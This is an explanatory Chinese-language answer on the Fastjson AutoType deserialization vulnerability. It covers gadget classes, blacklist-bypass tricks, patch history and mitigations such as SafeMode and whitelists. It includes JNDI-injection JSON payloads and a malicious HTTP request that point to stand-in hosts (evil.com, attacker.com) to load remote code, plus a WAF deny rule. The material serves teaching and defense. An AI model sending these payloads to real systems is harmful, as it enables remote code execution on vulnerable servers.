问题
你知道fastjson的反序列化漏洞吗?
答案
漏洞概述
Fastjson反序列化漏洞是由于 AutoType机制 导致的远程代码执行(RCE)漏洞,攻击者可通过构造恶意JSON字符串,在反序列化时触发任意代码执行。
漏洞原理
1. AutoType机制
Fastjson支持通过 @type 字段指定反序列化的目标类:
// 正常使用
public class User {
private String name;
// getter/setter
}
String json = "{\"@type\":\"com.example.User\",\"name\":\"张三\"}";
User user = JSON.parseObject(json, User.class);
问题核心:@type 可以指定任意类,包括危险类。
2. 攻击原理
攻击者利用Java的动态类加载和setter方法调用特性,构造恶意载荷:
// 攻击示例:利用JdbcRowSetImpl触发JNDI注入
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://evil.com:1099/Exploit",
"autoCommit": true
}
攻击链:
- Fastjson解析
@type,实例化JdbcRowSetImpl类 - 调用
setDataSourceName()设置恶意RMI地址 - 调用
setAutoCommit(true)触发connect()方法 - 执行JNDI查询,加载远程恶意类
- 远程代码执行
3. 经典利用链
| 利用类 | 漏洞版本 | 攻击方式 |
|---|---|---|
JdbcRowSetImpl | ≤1.2.24 | JNDI注入 |
TemplatesImpl | ≤1.2.42 | 字节码加载 |
BasicDataSource | ≤1.2.47 | ClassLoader加载 |
漏洞演进
第一阶段:黑名单绕过(1.2.24 - 1.2.47)
Fastjson通过黑名单禁用危险类:
// 黑名单机制(简化版)
if (className.startsWith("com.sun.rowset.JdbcRowSetImpl")) {
throw new JSONException("autoType is not support");
}
绕过方式:
- 使用
L前缀和;后缀:L com.sun.rowset.JdbcRowSetImpl; - 使用
[数组形式:[com.sun.rowset.JdbcRowSetImpl - 寻找新的利用类(如
TemplatesImpl)
第二阶段:默认关闭AutoType(≥1.2.48)
从1.2.48版本开始,默认关闭AutoType:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 默认关闭
但如果开发者手动开启,仍存在风险:
// 危险配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
第三阶段:SafeMode(≥1.2.68)
引入 SafeMode 安全模式,完全禁用AutoType:
ParserConfig.getGlobalInstance().setSafeMode(true);
实际案例
攻击场景
// 存在漏洞的代码
@RestController
public class UserController {
@PostMapping("/update")
public String update(@RequestBody String json) {
// 直接解析用户输入,未限制类型
Object obj = JSON.parseObject(json);
return "success";
}
}
恶意请求:
POST /update HTTP/1.1
Content-Type: application/json
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker.com:1099/Exploit",
"autoCommit": true
}
防护措施
1. 升级到最新版本
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version> <!-- 使用最新版本 -->
</dependency>
2. 开启SafeMode(推荐)
// 全局开启SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);
3. 禁用AutoType
// 如果不需要AutoType功能,确保关闭
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
4. 指定反序列化类型
// ❌ 不安全:使用泛型Object接收
Object obj = JSON.parseObject(json);
// ✅ 安全:明确指定类型
User user = JSON.parseObject(json, User.class);
5. 输入验证与白名单
// 白名单机制
ParserConfig config = new ParserConfig();
config.addAccept("com.example.domain."); // 只允许特定包下的类
JSON.parseObject(json, Object.class, config);
6. 使用更安全的JSON库
考虑迁移到更安全的替代方案:
<!-- Jackson -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.15.0</version>
</dependency>
<!-- Gson -->
<dependency>
<groupId>com.google.code.gson</groupId>
<artifactId>gson</artifactId>
<version>2.10.1</version>
</dependency>
安全检测
检测代码中的fastjson使用
# 检测是否使用fastjson
grep -r "JSON.parseObject\|JSON.parse\|JSONObject.parseObject" src/
# 检测是否开启AutoType
grep -r "setAutoTypeSupport(true)" src/
WAF规则示例
# 拦截包含@type的可疑JSON
if request_body contains "@type" and request_body contains "com.sun.rowset" {
deny;
}
答题总结
Fastjson反序列化漏洞源于 AutoType机制 允许通过 @type 指定任意类,攻击者利用 JdbcRowSetImpl 等危险类触发JNDI注入,实现远程代码执行。漏洞经历了黑名单绕过→默认关闭AutoType→SafeMode的演进。防护措施包括:
- 升级到最新版本(≥1.2.83)
- 开启SafeMode(
setSafeMode(true)) - 禁用AutoType或使用白名单
- 明确指定反序列化类型,避免使用泛型接收
- 考虑迁移到Jackson等更安全的库